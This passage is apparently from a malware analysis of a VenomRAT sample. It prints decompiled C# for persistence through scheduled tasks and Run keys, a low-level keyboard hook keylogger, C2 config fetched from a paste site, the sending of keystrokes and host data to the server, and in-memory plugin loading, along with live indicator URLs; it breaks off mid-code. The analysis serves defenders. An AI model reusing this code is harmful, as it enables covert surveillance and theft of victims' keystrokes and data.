| Client.Settings.Anti_Process | false |
| Client.Settings.BS_OD | false |
| Client.Settings.Group | Default |
| Client.Settings.Hw_id | 5DEACD0D3625ECDCA44B |
| Client.Settings.Server_signa_ture | KnTj[...] |
| Client.Settings.Certifi_cate | YTQU[...] |
| Client.Settings.Server_Certificate | null |
| Client.Settings.keylogparam | {Params.KeylogParams} |
| keylogparam.content | 5 False |
| keylogparam.filter | "" |
| keylogparam.filters | Count = 0x00000000 |
| keylogparam.interval | 0x00000005 |
| keylogparam.isEnabled | false |
| keylogparam.KeylogConfFile | C:\Users\REM\AppData\Roaming\MyData\DataLogs.conf |
| keylogparam.KeylogMutexString | OfflineKeylogger |
| keylogparam.OfflineSaveFileName | C:\Users\REM\AppData\Roaming\MyData\DataLogs_keylog_offline.txt |
| keylogparam.OnlineSaveFileName | C:\Users\REM\AppData\Roaming\MyData\DataLogs_keylog_online.txt |
| Client.Settings.Install_Folder | %AppData% |
| Client.Settings.Install_File | dadada.exe |
| Client.Settings.De_lay | 1 |
A few interesting settings emerge, including the pastebin URL: https://paste.ee/r/7467kw7n/0, the VenomRAT version: Venom RAT + HVNC + Stealer + Grabber v6.0.3 and some of the file paths that might be used. Also note that the mutex OfflineKeylogger was not seen during the dynamic phase; it might be worth checking when it gets used later.
At the time of writing, the pastebin URL content is: 1ri7zwh3k.localto.net:8301. It should be possible to see later how it is used.
Client.Install
Now that the settings are clearer, the installation procedure can be viewed to then go into the details of what the sample is doing.
The full code of this file is:
using System;using System.Diagnostics;using System.IO;using System.Threading;using Client.Connection;using Client.Helper;using Microsoft.Win32;
namespace Client.Install{ internal class NormalStartup { public static void Install() { try { FileInfo fileInfo = new FileInfo(Path.Combine(Environment.ExpandEnvironmentVariables(Settings.Install_Folder), Settings.Install_File)); string fileName = Process.GetCurrentProcess().MainModule.FileName; if (fileName != fileInfo.FullName) { foreach (Process process in Process.GetProcesses()) { try { if (process.MainModule.FileName == fileInfo.FullName) { process.Kill(); } } catch { } - [ ] } if (Methods.IsAdmin()) { Process.Start(new ProcessStartInfo { FileName = "cmd", Arguments = string.Concat(new string[] { "/c schtasks /create /f /sc onlogon /rl highest /tn \"", Path.GetFileNameWithoutExtension(fileInfo.Name), "\" /tr '\"", fileInfo.FullName, "\"' & exit" }), WindowStyle = ProcessWindowStyle.Hidden, CreateNoWindow = true }); } else { using (RegistryKey registryKey = Registry.CurrentUser.OpenSubKey("SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run\\", RegistryKeyPermissionCheck.ReadWriteSubTree)) { registryKey.SetValue(Path.GetFileNameWithoutExtension(fileInfo.Name), "\"" + fileInfo.FullName + "\""); } } if (File.Exists(fileInfo.FullName)) { File.Delete(fileInfo.FullName); Thread.Sleep(1000); } Stream stream = new FileStream(fileInfo.FullName, FileMode.CreateNew); byte[] array = File.ReadAllBytes(fileName); stream.Write(array, 0, array.Length); Methods.ClientOnExit(); string text = Path.GetTempFileName() + ".bat"; using (StreamWriter streamWriter = new StreamWriter(text)) { streamWriter.WriteLine("@echo off"); streamWriter.WriteLine("timeout 3 > NUL"); streamWriter.WriteLine("START \"\" \"" + fileInfo.FullName + "\""); streamWriter.WriteLine("CD " + Path.GetTempPath()); streamWriter.WriteLine("DEL \"" + Path.GetFileName(text) + "\" /f /q"); } Process.Start(new ProcessStartInfo { FileName = text, CreateNoWindow = true, ErrorDialog = false, UseShellExecute = false, WindowStyle = ProcessWindowStyle.Hidden }); Environment.Exit(0); } } catch (Exception ex) { ClientSocket.Error("Install Failed : " + ex.Message); } } }}fileInfo is set to be the concatenation of %AppData% and dadada.exe.
FileInfo fileInfo = new FileInfo(Path.Combine(Environment.ExpandEnvironmentVariables(Settings.Install_Folder), Settings.Install_File));To clarify before looking at the next few lines:
-
fileNameis a string representing the path to the executable of the running process. For example, if the executable downloaded from this report is executed without renaming, its file name will be:C:\Users\REM\Desktop\8f5bb49ef2c1178c113d477f70856b3d59a107a6f5a551199fb5ea0be911c496.exe. -
fileInfois aFileInfoobject withfullNamevalue ofC:\Users\REM\AppData\Roaming\dadada.exe.
This code goes through all running processes and kills any process whose executable file matches %AppData%\dadada.exe. This is probably used in case a new installation of modules has to be performed remotely.
string fileName = Process.GetCurrentProcess().MainModule.FileName;if (fileName != fileInfo.FullName){ foreach (Process process in Process.GetProcesses()) { try { if (process.MainModule.FileName == fileInfo.FullName) { process.Kill(); } } catch { }}After that, it attempts the two persistence mechanisms already observed. If it is admin it will execute the following code to create a new task in the Task Scheduler to start on login.
cmd /c schtasks /create /f /sc onlogon /rl highest /tn dadada /tr "%AppData%\\dadada.exe" & exitThe execution of the above command is done in a hidden window to avoid alerting the user:
WindowStyle = ProcessWindowStyle.Hidden,CreateNoWindow = trueOtherwise, it will write in the registry HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\ the value: dadada.exe. Note that Registry.CurrentUser is HKCU. This can be confirmed by clicking on CurrentUser in DnSpy; this leads to the following line: RegistryKey.GetBaseKey(RegistryKey.HKEY_CURRENT_USER);
using (RegistryKey registryKey = Registry.CurrentUser.OpenSubKey("SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run\\", RegistryKeyPermissionCheck.ReadWriteSubTree)){ registryKey.SetValue(Path.GetFileNameWithoutExtension(fileInfo.Name), "\"" + fileInfo.FullName + "\"");}After that it checks if %AppData%\dadada.exe already exists and, if it does, deletes it.
if (File.Exists(fileInfo.FullName)){ File.Delete(fileInfo.FullName); Thread.Sleep(1000);}This is done because the next couple of lines copy the sample into %AppData%/dadada.exe.
Stream stream = new FileStream(fileInfo.FullName, FileMode.CreateNew);byte[] array = File.ReadAllBytes(fileName);stream.Write(array, 0, array.Length);Lastly, the .bat file seen during dynamic analysis, C:\Users\REM\AppData\Local\Temp\tmp8A48.tmp.bat, is created. The content can now be seen below. Note that GetTempFileName might return a different file name on different executions.
string text = Path.GetTempFileName() + ".bat";using (StreamWriter streamWriter = new StreamWriter(text)){ streamWriter.WriteLine("@echo off"); streamWriter.WriteLine("timeout 3 > NUL"); streamWriter.WriteLine("START \"\" \"" + fileInfo.FullName + "\""); streamWriter.WriteLine("CD " + Path.GetTempPath()); streamWriter.WriteLine("DEL \"" + Path.GetFileName(text) + "\" /f /q");}A new process, executed again in hidden mode, runs the .bat file as specified in the FileName field. This will wait for 3 seconds, execute the dadada.exe file, and delete the original sample.
Client.Keylogger
The Keylogger class has a multitude of different methods. They can be analyzed one by one.
public static void SendLog(){ try { string text = string.Empty; if (File.Exists(KeylogParams.OnlineSaveFileName)) { text = File.ReadAllText(KeylogParams.OnlineSaveFileName); } if (ClientSocket.IsConnected && !string.IsNullOrEmpty(text)) { MsgPack msgPack = new MsgPack(); msgPack.ForcePathObject("Pac_ket").AsString = "keyLogger"; msgPack.ForcePathObject("hwid").AsString = Settings.Hw_id; msgPack.ForcePathObject("log").AsString = text; ClientSocket.Send(msgPack.Encode2Bytes()); File.Delete(KeylogParams.OnlineSaveFileName); } } catch { }}The first one, the SendLog method, uses the KeylogParams.OnlineSaveFileName, which is defined in the KeylogParams class as the DataLogs_keylog_online.txt file.
public static string OnlineSaveFileName = Path.Combine(Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData), "MyData", "DataLogs_keylog_online.txt");If the file exists and is not empty, the whole content is read and sent via the ClientSocket object defined in Client.Connection, which will be looked at next. Once the data is sent, the file is deleted. This is sent in combination with the Hw_id value of 5DEACD0D3625ECDCA44B and the string KeyLogger, probably so that the receiving server can identify the traffic type and client. Remember that the Hw_id value is determined at run time and it will probably be different on another system.
Next, the Run method:
public static void Run(){ new Thread(delegate { for (;;) { Thread.Sleep(Keylogger.Params.interval * 1000); Keylogger.SendLog(); } }).Start(); Keylogger._hookID = Keylogger.SetHook(Keylogger._proc);}This method executes a new thread that continuously sends logs via the SendLog method and waits a certain sleep interval, then repeats.
Once the thread is started, the method then creates a new hook calling the SetHook method. This method is:
private static IntPtr SetHook(Keylogger.LowLevelKeyboardProc proc){ IntPtr intPtr; using (Process currentProcess = Process.GetCurrentProcess()) { intPtr = Keylogger.SetWindowsHookEx(Keylogger.WHKEYBOARDLL, proc, Keylogger.GetModuleHandle(currentProcess.ProcessName), 0U); } return intPtr;}This seems at first like it is using a method from Keylogger called SetWindowsHookEx, however this is imported from user32.dll at the end of the Keylogger class.
[DllImport("user32.dll", CharSet = CharSet.Auto, SetLastError = true)]private static extern IntPtr SetWindowsHookEx(int idHook, Keylogger.LowLevelKeyboardProc lpfn, IntPtr hMod, uint dwThreadId);What is SetWindowsHookEx? The Microsoft API documentation (see reference 2) defines it as:
Installs an application-defined hook procedure into a hook chain. You would install a hook procedure to monitor the system for certain types of events.
The second sentence explains the core concept: the sample wants to monitor the system for a certain event.
The API call definition is:
HHOOK SetWindowsHookExA( [in] int idHook, [in] HOOKPROC lpfn, [in] HINSTANCE hmod, [in] DWORD dwThreadId);And it is called within the sample as:
SetWindowsHookEx(Keylogger.WHKEYBOARDLL, proc, Keylogger.GetModuleHandle(currentProcess.ProcessName), 0U)In detail, the way the sample uses it is:
Keylogger.WHKEYBOARDLL: is defined at the end of the file with13, which, looking at the Parameters section of the Microsoft documentation, isWH_KEYBOARD_LLwhich means: “Installs a hook procedure that monitors low-level keyboard input events.”proc: is passed from theRunmethod and is defined at the bottom of the file as aLowLevelKeyboardProcobject that usesKeylogger.HookCallbackas callback function, a function to call when the hook is triggeredKeylogger.GetModuleHandle(currentProcess.ProcessName): the Microsoft documentation defines it as: “A handle to the DLL containing the hook procedure pointed to by the lpfn parameter”. This basically means that it retrieves a handle to the module (the executable or DLL) that contains the hook procedure specified byproc. When setting a Windows hook, it is necessary to tell the system where the callback function (the hook procedure) resides. In this case, the callback is part of the current process, soGetModuleHandlereturns a handle to that module.0U: this is an unsigned (U)0, which, based on the documentation, means “For desktop apps, if this parameter is zero, the hook procedure is associated with all existing threads running in the same desktop as the calling thread.”
The callback method, HookCallback, is quite a long method but fairly simple.
private static IntPtr HookCallback(int nCode, IntPtr wParam, IntPtr lParam){ IntPtr intPtr; try { if (nCode >= 0 && wParam == (IntPtr)256) { string activeProcessName = Keylogger.GetActiveProcessName(); string activeWindowTitle = Keylogger.GetActiveWindowTitle(); if (!Keylogger.Params.isEnabled || !Keylogger.FilterProcessWindow(activeProcessName, activeWindowTitle)) { return Keylogger.CallNextHookEx(Keylogger._hookID, nCode, wParam, lParam); } int num = Marshal.ReadInt32(lParam); bool flag = ((int)Keylogger.GetKeyState(20) & 65535) != 0; bool flag2 = ((int)Keylogger.GetKeyState(160) & 32768) != 0 || ((int)Keylogger.GetKeyState(161) & 32768) != 0; string text = Keylogger.KeyboardLayout((uint)num); if (flag || flag2) { text = text.ToUpper(); } else { text = text.ToLower(); } Keys keys = (Keys)num; if (keys >= Keys.F1 && keys <= Keys.F24) { string text2 = "["; Keys keys2 = (Keys)num; text = text2 + keys2.ToString() + "]"; } else { if (new Keys[] { Keys.Escape, Keys.Back, Keys.Tab, Keys.Capital, Keys.LWin, Keys.RWin, Keys.LMenu, Keys.RMenu, Keys.LControlKey, Keys.RControlKey, Keys.Left, Keys.Right, Keys.Up, Keys.Down, Keys.Delete, Keys.Home, Keys.End }.Contains(keys)) { text = "[" + keys.ToString() + "]"; } if (keys == Keys.Return) { text = "[Enter]\r\n"; } if (keys == Keys.Space) { text = " "; } } if (!string.IsNullOrEmpty(text)) { StringBuilder stringBuilder = new StringBuilder(); if (Keylogger.PrevActiveWindowTitle == activeWindowTitle) { stringBuilder.Append(text); } else { stringBuilder.Append(Environment.NewLine); stringBuilder.Append(Environment.NewLine); stringBuilder.Append(string.Concat(new string[] { "----- [", DateTime.Now.ToString("MM-dd HH:mm:ss"), "] : [", activeProcessName, "] [", activeWindowTitle, "]" })); stringBuilder.Append(Environment.NewLine); stringBuilder.Append(text); } Keylogger.Log(stringBuilder.ToString()); Keylogger.PrevActiveWindowTitle = activeWindowTitle; } } intPtr = Keylogger.CallNextHookEx(Keylogger._hookID, nCode, wParam, lParam); } catch { intPtr = IntPtr.Zero; } return intPtr;}The first couple of lines get the name of the program running in the current open window:
string activeProcessName = Keylogger.GetActiveProcessName();string activeWindowTitle = Keylogger.GetActiveWindowTitle();If the keylogger is enabled, then the status of caps lock and the shift keys is captured:
bool flag = ((int)Keylogger.GetKeyState(20) & 65535) != 0;bool flag2 = ((int)Keylogger.GetKeyState(160) & 32768) != 0 || ((int)Keylogger.GetKeyState(161) & 32768) != 0;This is done via the GetKeyState method (see reference 3) which returns whether the key is pressed or not. The numbers inside are hexadecimal representing the key on the keyboard. In reference 4 all the mappings can be found. Given that 160 is 0xA0 which is the left shift (VK_LSHIFT), while 161 is the right shift and 20 (0x14 in hex) is the caps lock, these lines check whether the character should be uppercase; if one of the keys is pressed it is saved in uppercase:
if (flag || flag2){ text = text.ToUpper();}The keys pressed are logged via the KeyboardLayout method that will be seen next. The rest of the method is just code to handle keys that are not letters:
- from line 27 to 32: checks for function keys, and saves them as
[F1]for example; - from line 35 to 65: checks for special keys like Tab and saves them as
[Tab]. The same applies for Enter and Space, which is saved as" ".
Once the text is converted and formatted, it is saved with the following format:
"----- [",DateTime.Now.ToString("MM-dd HH:mm:ss"),"] : [",activeProcessName,"] [",activeWindowTitle,"]"This final text is saved via the Log method:
Keylogger.Log(stringBuilder.ToString());The content of Log shows that the sample saves the logs in MyData/DataLogs_keylog_offline.txt first, and then, if there is network connectivity, in MyData/DataLogs_keylog_online.txt.
private static void Log(string log){ if (Keylogger.Params.isEnabled) { File.AppendAllText(KeylogParams.OfflineSaveFileName, log); if (ClientSocket.IsConnected) { File.AppendAllText(KeylogParams.OnlineSaveFileName, log); } }}The KeyboardLayout method takes in an integer representing the key pressed, and it returns the string representation of it in Unicode. This is done by translating the key pressed into a “scan code” via MapVirtualKey. The scan code is a unique identifier for each key; more info is in 5. Then the layout of the keyboard is retrieved via GetKeyboardLayout and the scan code is translated to Unicode via ToUnicodeEx.
private static string KeyboardLayout(uint vkCode){ try { StringBuilder stringBuilder = new StringBuilder(); byte[] array = new byte[256]; if (!Keylogger.GetKeyboardState(array)) { return ""; } uint num = Keylogger.MapVirtualKey(vkCode, 0U); uint num2; IntPtr keyboardLayout = Keylogger.GetKeyboardLayout(Keylogger.GetWindowThreadProcessId(Keylogger.GetForegroundWindow(), out num2)); Keylogger.ToUnicodeEx(vkCode, num, array, stringBuilder, 5, 0U, keyboardLayout); return stringBuilder.ToString(); } catch { } Keys keys = (Keys)vkCode; return keys.ToString();There are now two missing parts of the sample:
- The connection to the remote server
- Other capabilities?
Client.Connection
The Client.Connection class is relatively long, and it makes more sense to look at each method separately, starting from InitializeClient:
public static void InitializeClient(){ try { ClientSocket.TcpClient = new Socket(AddressFamily.InterNetwork, SocketType.Stream, ProtocolType.Tcp) { ReceiveBufferSize = 51200, SendBufferSize = 51200 }; if (Settings.Paste_bin == "null") { string text = Settings.Hos_ts.Split(new char[] { ',' })[new Random().Next(Settings.Hos_ts.Split(new char[] { ',' }).Length)]; int num = Convert.ToInt32(Settings.Por_ts.Split(new char[] { ',' })[new Random().Next(Settings.Por_ts.Split(new char[] { ',' }).Length)]); if (ClientSocket.IsValidDomainName(text)) { foreach (IPAddress ipaddress in Dns.GetHostAddresses(text)) { try { ClientSocket.TcpClient.Connect(ipaddress, num); if (ClientSocket.TcpClient.Connected) { break; } } catch { } } } else { ClientSocket.TcpClient.Connect(text, num); } } else { using (WebClient webClient = new WebClient()) { NetworkCredential networkCredential = new NetworkCredential("", ""); webClient.Credentials = networkCredential; string[] array = webClient.DownloadString(Settings.Paste_bin).Split(new string[] { ":" }, StringSplitOptions.None); Settings.Hos_ts = array[0]; Settings.Por_ts = array[new Random().Next(1, array.Length)]; ClientSocket.TcpClient.Connect(Settings.Hos_ts, Convert.ToInt32(Settings.Por_ts)); } } if (ClientSocket.TcpClient.Connected) { ClientSocket.IsConnected = true; ClientSocket.SslClient = new SslStream(new NetworkStream(ClientSocket.TcpClient, true), false, new RemoteCertificateValidationCallback(ClientSocket.ValidateVenomServer)); ClientSocket.SslClient.AuthenticateAsClient(ClientSocket.TcpClient.RemoteEndPoint.ToString().Split(new char[] { ':' })[0], null, SslProtocols.Tls, false); ClientSocket.HeaderSize = 4L; ClientSocket.Buffer = new byte[ClientSocket.HeaderSize]; ClientSocket.Offset = 0L; ClientSocket.Send(IdSender.SendInfo()); ClientSocket.Interval = 0; ClientSocket.ActivatePo_ng = false; ClientSocket.KeepAlive = new Timer(new TimerCallback(ClientSocket.KeepAlivePacket), null, new Random().Next(10000, 15000), new Random().Next(10000, 15000)); ClientSocket.Ping = new Timer(new TimerCallback(ClientSocket.Po_ng), null, 1, 1); ClientSocket.SslClient.BeginRead(ClientSocket.Buffer, (int)ClientSocket.Offset, (int)ClientSocket.HeaderSize, new AsyncCallback(ClientSocket.ReadServertData), null); } else { ClientSocket.IsConnected = false; } } catch { ClientSocket.IsConnected = false; }}The first few lines are executed if Settings.Paste_bin is not configured. This means that the malware has not received the config from the paste site, but the values are hard-coded in the settings. It takes a random host and a random port from the list of hosts and ports configured. It then tries to resolve the domain and connect to the first IP address resolved.
string text = Settings.Hos_ts.Split(new char[] { ',' })[new Random().Next(Settings.Hos_ts.Split(new char[] { ',' }).Length)];int num = Convert.ToInt32(Settings.Por_ts.Split(new char[] { ',' })[new Random().Next(Settings.Por_ts.Split(new char[] { ',' }).Length)]);if (ClientSocket.IsValidDomainName(text)){ foreach (IPAddress ipaddress in Dns.GetHostAddresses(text)) { try { ClientSocket.TcpClient.Connect(ipaddress, num); if (ClientSocket.TcpClient.Connected) { break; } } catch { } }}In the scenario where there is a Paste_bin address, the connection is taken from the first host and a random port from those presented in the file.
using (WebClient webClient = new WebClient()){ NetworkCredential networkCredential = new NetworkCredential("", ""); webClient.Credentials = networkCredential; string[] array = webClient.DownloadString(Settings.Paste_bin).Split(new string[] { ":" }, StringSplitOptions.None); Settings.Hos_ts = array[0]; Settings.Por_ts = array[new Random().Next(1, array.Length)]; ClientSocket.TcpClient.Connect(Settings.Hos_ts, Convert.ToInt32(Settings.Por_ts));}Once a connection has been tested and established, it is verified by looking at the certificate that is provided by the server. The ValidateVenomServer method verifies that the certificate given by the server is the same as the one stored in the configuration.
ClientSocket.SslClient = new SslStream(new NetworkStream(ClientSocket.TcpClient, true), false, new RemoteCertificateValidationCallback(ClientSocket.ValidateVenomServer));This is followed by a SendInfo() invocation:
ClientSocket.Send(IdSender.SendInfo());The SendInfo method is in the Client.Helpers namespace and contains a list of all the data that are sent to the server:
namespace Client.Helper{ public static class IdSender { public static byte[] SendInfo() { MsgPack msgPack = new MsgPack(); msgPack.ForcePathObject("Pac_ket").AsString = "ClientInfo"; msgPack.ForcePathObject("ClientType").AsString = "Normal"; msgPack.ForcePathObject("HWID").AsString = Settings.Hw_id; msgPack.ForcePathObject("DesktopName").AsString = Environment.MachineName; msgPack.ForcePathObject("User").AsString = Environment.UserName.ToString(); msgPack.ForcePathObject("OS").AsString = new ComputerInfo().OSFullName.ToString().Replace("Microsoft", null) + " " + Environment.Is64BitOperatingSystem.ToString().Replace("True", "64bit").Replace("False", "32bit"); msgPack.ForcePathObject("Camera").AsString = Camera.havecamera().ToString(); msgPack.ForcePathObject("Path").AsString = Process.GetCurrentProcess().MainModule.FileName; msgPack.ForcePathObject("Version").AsString = Settings.Ver_sion; msgPack.ForcePathObject("Admin").AsString = Methods.IsAdmin().ToString().ToLower() .Replace("true", "Admin") .Replace("false", "User"); msgPack.ForcePathObject("Perfor_mance").AsString = Methods.GetActiveWindowTitle(); msgPack.ForcePathObject("Paste_bin").AsString = Settings.Paste_bin; msgPack.ForcePathObject("Anti_virus").AsString = Methods.Antivirus(); msgPack.ForcePathObject("Install_ed").AsString = new FileInfo(Application.ExecutablePath).LastWriteTime.ToUniversalTime().ToString(); msgPack.ForcePathObject("Po_ng").AsString = ""; msgPack.ForcePathObject("Group").AsString = Settings.Group; msgPack.ForcePathObject("CPU").AsString = CGRInfo.GetCPUName(); msgPack.ForcePathObject("GPU").AsString = CGRInfo.GetGPU(); msgPack.ForcePathObject("RAM").AsString = CGRInfo.GetRAM(); msgPack.ForcePathObject("apps").AsString = CGRInfo.GetInstalledApplications(); msgPack.ForcePathObject("running").AsString = CGRInfo.GetUserProcessList(); Keylogger.Params.LoadFromFile(); msgPack.ForcePathObject("keylogsetting").AsString = Keylogger.Params.content; return msgPack.Encode2Bytes(); } }}The full list is:
| What is collected | Explanation |
|---|---|
Pac_ket | A label indicating the message type, hardcoded as “ClientInfo”. |
ClientType | Describes the type of client, such as “Normal”. |
HWID | The device’s hardware ID, used to uniquely identify the machine. |
DesktopName | The computer’s machine name from the operating system. |
User | The username of the currently logged-in user. |
OS | The operating system’s full name and whether it’s 64-bit or 32-bit. |
Camera | Indicates whether a camera device is present. |
Path | The full file path of the running executable. |
Version | The application’s version number. |
Admin | Whether the process is running with administrator privileges. |
Perfor_mance | The title of the currently active window. |
Paste_bin | The Pastebin value. |
Anti_virus | The name of the installed antivirus product. |
Install_ed | The timestamp of when the executable was installed. |
Po_ng | An empty field, likely placeholder for ping or latency info. |
Group | The Group value from the Settings, which is Default. |
CPU | The system’s CPU name. |
GPU | The system’s graphics processor information. |
RAM | The amount or model of installed RAM. |
apps | A list of installed applications. |
running | A list of currently running processes. |
keylogsetting | The keylogger configuration content. |
After that, the following line allows the client to read data from the server:
ClientSocket.SslClient.BeginRead(ClientSocket.Buffer, (int)ClientSocket.Offset, (int)ClientSocket.HeaderSize, new AsyncCallback(ClientSocket.ReadServertData), null);ReadServertData is not particularly interesting, as it handles all the TCP connection and packet reading. However, it calls the Read method, which is very interesting. The same applies for the other methods in this class: they are all used to manage the connection and packet transfer. Of more interest are the Read and the Invoke methods. Both of them deal with an aspect of VenomRAT that has not been touched on yet: plugins.
public static void Read(object data){ try { MsgPack msgPack = new MsgPack(); msgPack.DecodeFromBytes((byte[])data); string asString = msgPack.ForcePathObject("Pac_ket").AsString; uint num = <PrivateImplementationDetails>.ComputeStringHash(asString); if (num <= 1512954518U) { if (num <= 633420285U) { if (num != 38622820U) { if (num != 633420285U) { goto IL_46F; } if (!(asString == "plu_gin")) { goto IL_46F; } try { string asString2 = msgPack.ForcePathObject("Dll").AsString; if (SetRegistry.GetValue(asString2) == null) { ClientSocket.Packs.Add(msgPack); MsgPack msgPack2 = new MsgPack(); msgPack2.ForcePathObject("Pac_ket").SetAsString("sendPlugin"); msgPack2.ForcePathObject("Hashes").SetAsString(asString2); ClientSocket.Send(msgPack2.Encode2Bytes()); } else { ClientSocket.Invoke(msgPack); } goto IL_46F; } catch (Exception ex) { ClientSocket.Error(ex.Message); goto IL_46F; } } else { if (!(asString == "HVNCStop")) { goto IL_46F; } goto IL_386; } } else if (num != 774213578U) { if (num != 1512954518U) { goto IL_46F; } if (!(asString == "loadofflinelog")) { goto IL_46F; } string text = ""; if (File.Exists(KeylogParams.OfflineSaveFileName)) { text = File.ReadAllText(KeylogParams.OfflineSaveFileName); File.Delete(KeylogParams.OfflineSaveFileName); } Logger.Log("\nOfflineKeylog sending....\n" + text); MsgPack msgPack3 = new MsgPack(); msgPack3.ForcePathObject("Pac_ket").SetAsString("offlinelog"); msgPack3.ForcePathObject("log").SetAsString(text); ClientSocket.Send(msgPack3.Encode2Bytes()); goto IL_46F; } else if (!(asString == "save_Plugin")) { goto IL_46F; } SetRegistry.SetValue(msgPack.ForcePathObject("Hash").AsString, msgPack.ForcePathObject("Dll").GetAsBytes()); using (List<MsgPack>.Enumerator enumerator = ClientSocket.Packs.ToList<MsgPack>().GetEnumerator()) { while (enumerator.MoveNext()) { MsgPack msgPack4 = enumerator.Current; if (msgPack4.ForcePathObject("Dll").AsString == msgPack.ForcePathObject("Hash").AsString) { ClientSocket.Invoke(msgPack4); ClientSocket.Packs.Remove(msgPack4); } } goto IL_46F; } IL_386: Program.StopHVNC(); } else if (num <= 2737483663U) { if (num != 2576247050U) { if (num == 2737483663U) { if (asString == "runningapp") { MsgPack msgPack5 = new MsgPack(); msgPack5.ForcePathObject("Pac_ket").SetAsString("runningapp"); msgPack5.ForcePathObject("hwid").SetAsString(Settings.Hw_id); msgPack5.ForcePathObject("value").SetAsString(CGRInfo.GetUserProcessList()); ClientSocket.Send(msgPack5.Encode2Bytes()); } } } else if (asString == "keylogsetting") { Keylogger.Params.content = msgPack.ForcePathObject("value").AsString; Keylogger.Params.SaveToFile(); } } else if (num != 4000839635U) { if (num != 4031341434U) { if (num == 4222846182U) { if (asString == "init_reg") { SetRegistry.InitRegistry(); MsgPack msgPack6 = new MsgPack(); msgPack6.ForcePathObject("Pac_ket").SetAsString("init_reg"); ClientSocket.Send(msgPack6.Encode2Bytes()); } } } else if (asString == "Po_ng") { ClientSocket.ActivatePo_ng = false; MsgPack msgPack7 = new MsgPack(); msgPack7.ForcePathObject("Pac_ket").SetAsString("Po_ng"); msgPack7.ForcePathObject("Message").SetAsInteger((long)ClientSocket.Interval); ClientSocket.Send(msgPack7.Encode2Bytes()); ClientSocket.Interval = 0; } } else if (asString == "filterinfo") { MsgPack msgPack8 = new MsgPack(); msgPack8.ForcePathObject("Pac_ket").SetAsString("filterinfo"); msgPack8.ForcePathObject("hwid").SetAsString(Settings.Hw_id); msgPack8.ForcePathObject("apps").SetAsString(CGRInfo.GetInstalledApplications()); msgPack8.ForcePathObject("running").SetAsString(CGRInfo.GetUserProcessList()); ClientSocket.Send(msgPack8.Encode2Bytes()); } IL_46F:; } catch (Exception ex2) { ClientSocket.Error(ex2.Message); }}At the beginning of the code there are two definitions:
string asString = msgPack.ForcePathObject("Pac_ket").AsString;uint num = <PrivateImplementationDetails>.ComputeStringHash(asString);The first one takes the Pac_ket from the data received and casts it to a string; this is used throughout this method as a command-and-control field. The second is a hash function that can be found by clicking on the ComputeStringHash name.
The following are the commands that can be sent:
plu_ginHVNCStoploadofflinelogsave_Pluginrunningappkeylogsettinginit_regPo_ngfilterinfo
The plu_gin command expects the data received from the server to contain a Dll entry. If the HKCU\Software does not have the value contained in Dll, the client asks the server to send the plugin.
string asString2 = msgPack.ForcePathObject("Dll").AsString;if (SetRegistry.GetValue(asString2) == null){ ClientSocket.Packs.Add(msgPack); MsgPack msgPack2 = new MsgPack(); msgPack2.ForcePathObject("Pac_ket").SetAsString("sendPlugin"); msgPack2.ForcePathObject("Hashes").SetAsString(asString2); ClientSocket.Send(msgPack2.Encode2Bytes());}The way the HKCU\Software key was found is by looking at the Client.Helpers.SetRegistry class, which contains the GetValue method. It retrieves the key from Registry.CurrentUser and the subkey using the constant value found in the same file: private static readonly string ID = "Software\\" + Settings.Hw_id;. The goto IL_46F seen in the code is a jump instruction to the IL_46F label, which terminates the method call.
If the client already has the plugin in the registry it gets invoked via:
ClientSocket.Invoke(msgPack);The HVNCStop command invokes the Program.StopHVNC method that was previously discussed.
loadofflinelog instructs the client to send the logs that have been saved in DataLogs_keylog_offline.txt.
SavePlugin takes the data sent from the server, sets the registry key as seen before, and runs Invoke on the data received.
SetRegistry.SetValue(msgPack.ForcePathObject("Hash").AsString, msgPack.ForcePathObject("Dll").GetAsBytes());using (List<MsgPack>.Enumerator enumerator = ClientSocket.Packs.ToList<MsgPack>().GetEnumerator()){ while (enumerator.MoveNext()) { MsgPack msgPack4 = enumerator.Current; if (msgPack4.ForcePathObject("Dll").AsString == msgPack.ForcePathObject("Hash").AsString) { ClientSocket.Invoke(msgPack4); ClientSocket.Packs.Remove(msgPack4); } } goto IL_46F;}The runningapp command instructs the client to send the Hw_id and the list of user processes running:
MsgPack msgPack5 = new MsgPack();msgPack5.ForcePathObject("Pac_ket").SetAsString("runningapp");msgPack5.ForcePathObject("hwid").SetAsString(Settings.Hw_id);msgPack5.ForcePathObject("value").SetAsString(CGRInfo.GetUserProcessList());ClientSocket.Send(msgPack5.Encode2Bytes());The keylogsettings, init_reg and Po_ng respectively save the keylogger settings, delete the registry used by the sample, and maintain the connection open with the server, while filterinfo sends to the server the installed and running apps along with the client ID.
The Invoke method decompresses the Dll content and loads it directly in memory via the AppDomain.CurrentDomain.Load function. It then dynamically loads the Run method on the decompressed data. Optionally, it stops the HVNC as previously seen. Once everything is done, the client informs the server using the ClientSocket.Received method.
private static void Invoke(MsgPack unpack_msgpack){ byte[] array = Zip.Decompress(SetRegistry.GetValue(unpack_msgpack.ForcePathObject("Dll").AsString)); object obj = Activator.CreateInstance(AppDomain.CurrentDomain.Load(array).GetType("Plugin.Plugin")); string asString = unpack_msgpack.ForcePathObject("Info").AsString; try { if (string.IsNullOrEmpty(asString)) { if (ClientSocket.<>o__53.<>p__0 == null) { ClientSocket.<>o__53.<>p__0 = CallSite<Action<CallSite, object, Socket, X509Certificate2, string, byte[], Mutex, string, string, string>>.Create(Binder.InvokeMember(CSharpBinderFlags.ResultDiscarded, "Run", null, typeof(ClientSocket), new CSharpArgumentInfo[] { CSharpArgumentInfo.Create(CSharpArgumentInfoFlags.None, null), CSharpArgumentInfo.Create(CSharpArgumentInfoFlags.UseCompileTimeType, null), CSharpArgumentInfo.Create(CSharpArgumentInfoFlags.UseCompileTimeType, null), CSharpArgumentInfo.Create(CSharpArgumentInfoFlags.UseCompileTimeType, null), CSharpArgumentInfo.Create(CSharpArgumentInfoFlags.UseCompileTimeType, null), CSharpArgumentInfo.Create(CSharpArgumentInfoFlags.UseCompileTimeType, null), CSharpArgumentInfo.Create(CSharpArgumentInfoFlags.UseCompileTimeType, null), CSharpArgumentInfo.Create(CSharpArgumentInfoFlags.UseCompileTimeType, null), CSharpArgumentInfo.Create(CSharpArgumentInfoFlags.UseCompileTimeType, null) })); } ClientSocket.<>o__53.<>p__0.Target(ClientSocket.<>o__53.<>p__0, obj, ClientSocket.TcpClient, Settings.Server_Certificate, 